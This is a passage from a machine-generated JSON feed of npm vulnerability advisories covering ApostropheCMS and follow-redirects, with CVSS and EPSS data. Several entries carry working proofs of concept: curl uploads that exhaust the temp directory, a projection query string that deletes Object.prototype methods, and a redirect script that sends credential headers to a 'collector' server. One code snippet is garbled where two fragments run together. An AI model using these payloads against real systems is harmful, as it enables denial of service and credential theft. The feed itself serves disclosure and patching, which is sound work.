GitHub:\n@modelcontextprotocol/sdk: >= 1.24.0, < 1.32.0","action":"GitHub lists first patched versions: @modelcontextprotocol/sdk: 1.32.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:26:54.000Z","updatedAt":"2026-10-20T19:53:10.247Z","regions":["Global"],"vendor":null,"product":"@modelcontextprotocol/sdk","stacks":["MCP servers and SDKs","JavaScript packages (npm)","@modelcontextprotocol/sdk","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111767","asOf":"2026-10-20T19:53:10.247Z"},"epss":{"probability":0.00345,"percentile":0.2775,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111767&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-22jm-h49p-29qw","url":"https://github.com/advisories/GHSA-22jm-h49p-29qw","type":"primary","publishedAt":"2026-10-20T18:26:54.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-22jm-h49p-29qw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-22jm-h49p-29qw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-22jm-h49p-29qw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-22jm-h49p-29qw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-22jm-h49p-29qw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-22jm-h49p-29qw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-22jm-h49p-29qw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-22jm-h49p-29qw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-22jm-h49p-29qw, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-111767","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111767","type":"primary","publishedAt":"2026-10-20T19:17:30.847Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111767&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111767, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113658","cveId":"CVE-2026-113658","aliases":["GHSA-qhcq-9pm2-c9w9"],"kind":"vulnerability","title":"ApostropheCMS: Unauthenticated CSV import requests leave rejected uploads in the system temporary directory","summary":"A rejected upload can remain in the operating system temporary directory.\n\nMulter writes the file before its extension is checked, and the rejection path does not remove that temporary file. An unauthenticated requester can repeat this with large files and steadily consume temporary disk space.","detail":"### Summary\n\nA rejected upload can remain in the operating system temporary directory.\n\nMulter writes the file before its extension is checked, and the rejection path does not remove that temporary file. An unauthenticated requester can repeat this with large files and steadily consume temporary disk space.\n\n### Details\n\nThe endpoint is:\n\n```text\nPOST /api/v1/@apostrophecms/rich-text-widget/generate-csv-table\n```\n\nIn `packages/apostrophe/modules/@apostrophecms/rich-text-widget/lib/apiRoutes.js`, Multer first writes the upload to `os.tmpdir()`. The handler then rejects filenames whose extension is not `csv`, but there is no cleanup of the Multer file on this error path.\n\nThe route does not require an authenticated user. A normal CSRF cookie is sufficient.\n\nDuring testing, the request returned HTTP 400 with `Only csv files are supported`, while the complete uploaded content remained in a randomly named file in the configured temporary directory after the response.\n\n### Relationship to prior public work\n\nI reviewed [PR #5013](https://github.com/apostrophecms/apostrophe/pull/5013), which migrated the Rich Text CSV upload path from `connect-multiparty` to Multer. This report concerns cleanup after that migration: the rejected Multer file remains on disk, a behavior not described in the PR or its review discussion.\n\n### POC\n\nCreate a small test file. A larger file can be used to demonstrate disk growth, but 1 MiB is enough for a safe local reproduction:\n\n```bash\ndd if=/dev/zero of=rejected.txt bs=1M count=1\n```\n\nObtain the normal site cookies and send the rejected upload:\n\n```bash\ncurl -c cookies.txt 'http://127.0.0.1:3000/' > /dev/null\n\ncurl -i -b cookies.txt \\\n -F 'file=@rejected.txt;filename=rejected.txt;type=text/plain' \\\n 'http://127.0.0.1:3000/api/v1/@apostrophecms/rich-text-widget/generate-csv-table'\n```\n\nThe response is HTTP 400. Compare the contents of the system temporary directory before and after the request:\n\n```bash\nls -lt /tmp\n```\n\nA new randomly named file remains present and contains the uploaded bytes.\n\nNo login is required. Repeating the multipart request creates additional persistent temporary files.\n\n### Impact\n\nA remote unauthenticated attacker can fill the partition used by the operating system temporary directory. Once that partition is exhausted, Apostrophe and unrelated services on the same host may fail to upload files, create temporary data, or continue operating normally.\n\nThe attack requires only repeated HTTP requests and the stored files remain after each rejected response.\n\nAffected package ranges reported by GitHub:\napostrophe: < 4.33.0","action":"GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:10:32.000Z","updatedAt":"2026-10-23T02:16:56.200Z","regions":["Global"],"vendor":null,"product":"apostrophe","stacks":["JavaScript packages (npm)","apostrophe","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113658","asOf":"2026-10-23T02:16:56.200Z"},"epss":{"probability":0.00615,"percentile":0.4915,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113658&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-qhcq-9pm2-c9w9","url":"https://github.com/advisories/GHSA-qhcq-9pm2-c9w9","type":"primary","publishedAt":"2026-10-20T18:10:32.000Z","checkedAt":"2026-10-26T14:50:56.006Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-qhcq-9pm2-c9w9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-qhcq-9pm2-c9w9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-qhcq-9pm2-c9w9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-qhcq-9pm2-c9w9, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-113658","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113658","type":"primary","publishedAt":"2026-10-20T17:17:36.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113658&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113658, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113666","cveId":"CVE-2026-113666","aliases":["GHSA-j5rq-xfvr-p969"],"kind":"vulnerability","title":"ApostropheCMS: Authenticated projection-exclusion prototype-member deletion in @apostrophecms/db-connect causes process-wide denial of service","summary":"`@apostrophecms/db-connect` ships an in-memory MongoDB emulation used by its SQLite, PostgreSQL, and multipostgres adapters. Its `unsetNestedField` helper walks an attacker-controlled dotted field path with no segment validation and calls `delete` on the resolved property. A low-privileged authenticated user (any role holding `view-draft`, which every editor and contributor has; reduced to any logged-in user when `guestApiAccess` is enabled) can send a piece-type REST GET request whose `project` query builder contains an exclusion key such as `constructor.prototype.hasOwnProperty`. On a SQLite or PostgreSQL adapter this key reaches `unsetNestedField`, which resolves `Object.prototype` and deletes a shared runtime method. Because that method is shared across the whole Node process, the deletion breaks request handling for every tenant and user until the process is restarted, giving a single request a persistent denial of service.\n\nThe projection query builder laundens only projection values, never projection keys, so an arbitrary dotted key survives to the database layer. On the SQLite and PostgreSQL adapters an exclusion projection is applied in JavaScript by `applyProjection`, which for each excluded field calls `unsetNestedField(result, field)`. `unsetNestedField` splits the field on `.` and walks the resulting segments with no guard: unlike its sibling `setNestedField`, it does not even block a literal `__proto__`, and neither helper blocks `constructor` or `prototype`. Because the working object is a plain object produced by `JSON.parse(JSON.stringify(doc))`, its `constructor` resolves to the global `Object`, so a path of `constructor.prototype. ` reaches the shared `Object.prototype` and deletes a core, configurable method. The violated invariant is that untrusted input must never be able to traverse into and mutate shared prototype objects.","detail":"## Summary\n\n`@apostrophecms/db-connect` ships an in-memory MongoDB emulation used by its SQLite, PostgreSQL, and multipostgres adapters. Its `unsetNestedField` helper walks an attacker-controlled dotted field path with no segment validation and calls `delete` on the resolved property. A low-privileged authenticated user (any role holding `view-draft`, which every editor and contributor has; reduced to any logged-in user when `guestApiAccess` is enabled) can send a piece-type REST GET request whose `project` query builder contains an exclusion key such as `constructor.prototype.hasOwnProperty`. On a SQLite or PostgreSQL adapter this key reaches `unsetNestedField`, which resolves `Object.prototype` and deletes a shared runtime method. Because that method is shared across the whole Node process, the deletion breaks request handling for every tenant and user until the process is restarted, giving a single request a persistent denial of service.\n\n## Root Cause\n\nThe projection query builder laundens only projection values, never projection keys, so an arbitrary dotted key survives to the database layer. On the SQLite and PostgreSQL adapters an exclusion projection is applied in JavaScript by `applyProjection`, which for each excluded field calls `unsetNestedField(result, field)`. `unsetNestedField` splits the field on `.` and walks the resulting segments with no guard: unlike its sibling `setNestedField`, it does not even block a literal `__proto__`, and neither helper blocks `constructor` or `prototype`. Because the working object is a plain object produced by `JSON.parse(JSON.stringify(doc))`, its `constructor` resolves to the global `Object`, so a path of `constructor.prototype. ` reaches the shared `Object.prototype` and deletes a core, configurable method. The violated invariant is that untrusted input must never be able to traverse into and mutate shared prototype objects.\n\n```text\nAffected functions (repository-relative paths):\n- unsetNestedField packages/db-connect/lib/shared.js:119-129 (no segment guard; delete on resolved property)\n- applyProjection packages/db-connect/lib/shared.js:164-216 (exclusion branch calls unsetNestedField per excluded key)\nReachability driver (consumer on a SQL adapter):\n- project.launder / project.finalize packages/apostrophe/modules/@apostrophecms/doc-type/index.js:2003-2103\n- getRestQuery packages/apostrophe/modules/@apostrophecms/piece-type/index.js:1139-1157\n- SQLite adapter applyProjection call packages/db-connect/adapters/sqlite.js:906,980\n```\n\n## Impact\n\nPrerequisites: an authenticated account holding `view-draft` (every editing role; any logged-in user when `guestApiAccess: true`), and a consumer configured to use a SQLite, PostgreSQL, or multipostgres adapter. The default `mongodb` adapter hands the projection to the real MongoDB driver and is not affected. With those conditions, a single crafted GET request deletes an attacker-chosen shared prototype method (for example `Object.prototype.hasOwnProperty`, `toString`, or an `Array.prototype` member). The demonstrated capability is a persistent, process-wide denial of service: after the deletion, ordinary calls such as `obj.hasOwnProperty(...)` throw across Apostrophe, its dependencies, and the database driver, so the affected Node process cannot service requests for any user until it is restarted. The attacker chooses which member to remove, and the corruption of shared runtime state persists for the life of the process.\n\n## Proof of Concept\n\n`The finding was reproduced by executing the shipped helper directly against the published db-connect source; a live consumer requires a SQLite or PostgreSQL adapter, an authenticated view-draft session, and at least one matching document.`\n\n1. Authenticate as any user with `view-draft` on a site whose database adapter is `sqlite`, `postgres`, or `multipostgres`.\n2. Issue a piece-type REST read with an exclusion projection whose key targets a shared prototype method.\n3. Observe that subsequent requests fail process-wide because the shared method was deleted.\n\n```text\nGET /api/v1/@apostrophecms/article?project[constructor.prototype.hasOwnProperty]=0\nCookie: \n```\n\n```text\nsafe benign exclusion {title:0} leaves Object.prototype.hasOwnProperty intact\nVULNERABLE exclusion projection deleted Object.prototype.hasOwnProperty (callableBefore=true, brokeEveryObject=true)\nVULNERABLE exclusion projection deleted an arbitrary Object.prototype method (__pocMarker)\n```\n\n## Attack Chain\n\n1. **Exposure:** An authenticated `view-draft` user calls the piece-type REST GET endpoint `GET /api/v1/@apostrophecms/ `, which is reachable by any editing role.\n2. **Control:** The query string `project[constructor.prototype.hasOwnProperty]=0` is parsed by `qs` (with `allowDots` off) into a single own key with literal dots, `{ 'constructor.prototype.hasOwnProperty': '0' }`.\n3. **Path:** `getRestQuery` applies the query builders first; `project.launder` copies the key verbatim and coerces only the value to `false`; `project.finalize` skips the falsy value with `if (!val) continue` and preserves the key; the cursor stores it as the projection.\n4. **Guard:** The `publicApiProjection` override that would discard the attacker projection runs only when `canAccessApi(req)` is false, so it is skipped for the authenticated caller; no key allowlist, segment check, or prototype guard exists anywhere on the path.\n5. **Primitive:** On the SQLite or PostgreSQL adapter, `applyProjection` takes the exclusion branch and calls `unsetNestedField(result, 'constructor.prototype.hasOwnProperty')`, which resolves `Object.prototype` and executes `delete Object.prototype.hasOwnProperty`.\n6. **Result:** A shared prototype method is removed for the entire Node process, so request handling throws for all users and tenants until restart.\n\n## Bypass Evidence\n\nThe relevant protections were examined individually and none blocks this path. The projection `launder` (packages/apostrophe/modules/@apostrophecms/doc-type/index.j\n\nAffected package ranges reported by GitHub:\n@apostrophecms/db-connect: < 1.1.0\napostrophe: < 4.33.0","action":"GitHub lists first patched versions: @apostrophecms/db-connect: 1.1.0; apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:03:50.000Z","updatedAt":"2026-10-20T19:53:10.247Z","regions":["Global"],"vendor":null,"product":"@apostrophecms/db-connect, apostrophe","stacks":["JavaScript packages (npm)","@apostrophecms/db-connect","apostrophe","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113666","asOf":"2026-10-20T19:53:10.247Z"},"epss":{"probability":0.00444,"percentile":0.38298,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113666&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-j5rq-xfvr-p969","url":"https://github.com/advisories/GHSA-j5rq-xfvr-p969","type":"primary","publishedAt":"2026-10-20T18:03:50.000Z","checkedAt":"2026-10-26T14:40:55.975Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-j5rq-xfvr-p969, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-j5rq-xfvr-p969, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-j5rq-xfvr-p969, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-113666","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113666","type":"primary","publishedAt":"2026-10-20T18:17:20.127Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113666&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113666, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111756","cveId":"CVE-2026-111756","aliases":["GHSA-q3jh-wrc6-jgq8"],"kind":"vulnerability","title":"follow-redirects array-form headers bypass cross-origin credential stripping","summary":"```js\nfunction removeMatchingHeaders(regex, headers) {\n var lastValue;\n for (var header in headers) { // for...in over an ARRAY yields \"0\",\"1\",\"2\"...\n if (regex.test(header)) { // the header-name filter never matches a numeric index\n lastValue = headers[header];\n delete headers[header];\n }\n }\n return (lastValue === null || typeof lastValue === \"undefined\") ?\n undefined : String(lastValue).trim();\n}\n```\n\nIt is invoked from `_processResponse` for three purposes, all with the caller-supplied `this._options.headers`:","detail":"### Summary\nfollow-redirects removes sensitive credential headers (Authorization, Proxy-Authorization, Cookie, and any caller-declared `sensitiveHeaders`) before following a redirect that crosses to a different host or downgrades to a less secure protocol. The removal routine iterates the caller's headers container with `for...in` and matches header names against a filter. This assumes the headers container is a plain object keyed by header names. Node's underlying `http.request`, which follow-redirects is a drop-in replacement for, also accepts headers as an alternating array of names and values. For an array, `for...in` yields the numeric indices `\"0\"`, `\"1\"`, `\"2\"` and so on, which never match a header-name filter, so nothing is removed. An application that sends array-form headers and follows an attacker-controlled cross-origin redirect therefore forwards its Authorization, Cookie, and Proxy-Authorization headers verbatim to the attacker-controlled destination, with no error or warning. The `sensitiveHeaders` option added to fix CVE-2026-40895 / GHSA-r4q5-vmmm-2653 is equally ineffective, because it relies on the same helper. This is an unauthenticated confidentiality vulnerability: any remote server the victim application contacts can harvest the victim's credential headers by responding with a cross-origin redirect.\n\n### Details\nThe cross-origin credential-stripping control is implemented by `removeMatchingHeaders(regex, headers)` at `index.js:630-640`:\n\n```js\nfunction removeMatchingHeaders(regex, headers) {\n var lastValue;\n for (var header in headers) { // for...in over an ARRAY yields \"0\",\"1\",\"2\"...\n if (regex.test(header)) { // the header-name filter never matches a numeric index\n lastValue = headers[header];\n delete headers[header];\n }\n }\n return (lastValue === null || typeof lastValue === \"undefined\") ?\n undefined : String(lastValue).trim();\n}\n```\n\nIt is invoked from `_processResponse` for three purposes, all with the caller-supplied `this._options.headers`:\n\n- `index.js:490` - strip the credential filter (`this._headerFilter`, which covers the built-in list Authorization/Proxy-Authorization/Cookie plus any `sensitiveHeaders`) when the redirect crosses origin or downgrades protocol.\n- `index.js:470` - strip the `Host` header (`/^host$/i`).\n- `index.js:466` - strip `content-*` headers when a 301/302/303 converts POST to GET.\n\nThe caller-supplied headers container is passed straight through to each redirected request via `nativeProtocol.request(this._options)` at `index.js:352`. `_sanitizeOptions` (index.js:300-331) only replaces `options.headers` when it is falsy, so an array is left untouched.\n\nNode's `http.request` accepts `options.headers` as an alternating array of names and values (for example `[\"Authorization\", \"Bearer ...\", \"Cookie\", \"session=...\"]`). This is a supported way to control header ordering and duplication. For such an array, `for (var header in headers)` iterates the numeric indices `\"0\"`, `\"1\"`, `\"2\"`, and the header-name regex never matches any of them, so `removeMatchingHeaders` deletes nothing. Every one of the three strip operations above silently no-ops:\n\n- The built-in credential headers (Authorization, Cookie, Proxy-Authorization) are forwarded to the cross-origin redirect target.\n- Any `sensitiveHeaders` the caller declared are forwarded too.\n- The stale `Host` of the previous origin is re-sent to the new origin.\n- On a POST-to-GET redirect the `content-*` headers are retained, leaving `Content-Length` inconsistent with the now-empty body.\n\nThe primary and highest-impact consequence is disclosure of credential headers. The stale `Host` re-send and the `Content-Length` inconsistency are secondary correctness defects arising from the same root cause.\n\nRoot-cause history: the `for...in`-based `removeMatchingHeaders` used for the built-in credential strip has been present since the cross-host Authorization drop was introduced (commit `724087d`, first released in v1.11.0) and is unchanged through 1.16.0. The `sensitiveHeaders` layer was introduced in 1.16.0 (commit `844c4d3`). The behavior was verified directly on both 1.15.11 and 1.16.0.\n\nSuggested remediation: handle or explicitly reject Node's array-form headers. The strictest fix is to detect `Array.isArray(options.headers)` in `_sanitizeOptions` and throw a clear `TypeError` instructing callers to pass an object, so misuse fails loudly instead of silently downgrading security. If array support is desired, extend `removeMatchingHeaders` to walk the array in name/value pairs:\n\n```js\nfunction removeMatchingHeaders(regex, headers) {\n if (Array.isArray(headers)) {\n var lastValue;\n for (var i = 0; i r.end(JSON.stringify(q.headers)));s.listen(0,\"127.0.0.1\",()=>{var p=s.address().port;http.request({hostname:\"127.0.0.1\",port:p,headers:[\"Authorization\",\"Bearer T\",\"Cookie\",\"c=1\"]},res=>{var b=\"\";res.on(\"data\",c=>b+=c);res.on(\"end\",()=>{console.log(JSON.parse(b).authorization, JSON.parse(b).cookie);s.close();});}).end();});'\n```\nObserved: `Bearer T c=1` (the server receives both headers, confirming array form is valid and delivered).\n\nMinimal form (built-in credential list), `arrayleak.js`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\");\nvar redirector = http.createServer(function (req, res) {\n req.resume();\n res.writeHead(302, { Location: \"http://127.0.0.1:47302/steal\" }); // cross-origin (different port)\n res.end();\n});\nvar collector = http.createServer(function (req, res) {\n res.end(JSON.stringify(req.headers)); // attacker-controlled target\n});\nredirector.listen(47301, \"127.0.0.1\", function () {\n collector.listen(47302, \"127.0.0.1\", function () {\n followRedirects.http.request({\n hostname: \"127.0.0.1\", port: 47301, path: \"/\", method: \"GET\",\n headers: [\n \"Host\", \"127.0.0.1:47301\",\n \"Authorization\", \"Bearer ARRAY-FORM-VICTIM-TOKEN\",\n \"Cookie\", \"session=ARRAY-FORM-SESSION-ID\",\n \"X-Custom\", \"harmless\"\n ]\n }, function (res) {\n var body = \"\"; res.on(\"data\", function (c) { body += c; }\n\nAffected package ranges reported by GitHub:\nfollow-redirects: >= 1.16.0, < 1.16.1","action":"GitHub lists first patched versions: follow-redirects: 1.16.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T17:58:04.000Z","updatedAt":"2026-10-23T02:16:54.423Z","regions":["Global"],"vendor":null,"product":"follow-redirects","stacks":["JavaScript packages (npm)","follow-redirects","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111756","asOf":"2026-10-23T02:16:54.423Z"},"epss":{"probability":0.00471,"percentile":0.40483,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111756&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-q3jh-wrc6-jgq8","url":"https://github.com/advisories/GHSA-q3jh-wrc6-jgq8","type":"primary","publishedAt":"2026-10-20T17:58:04.000Z","checkedAt":"2026-10-26T14:15:55.780Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-q3jh-wrc6-jgq8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API 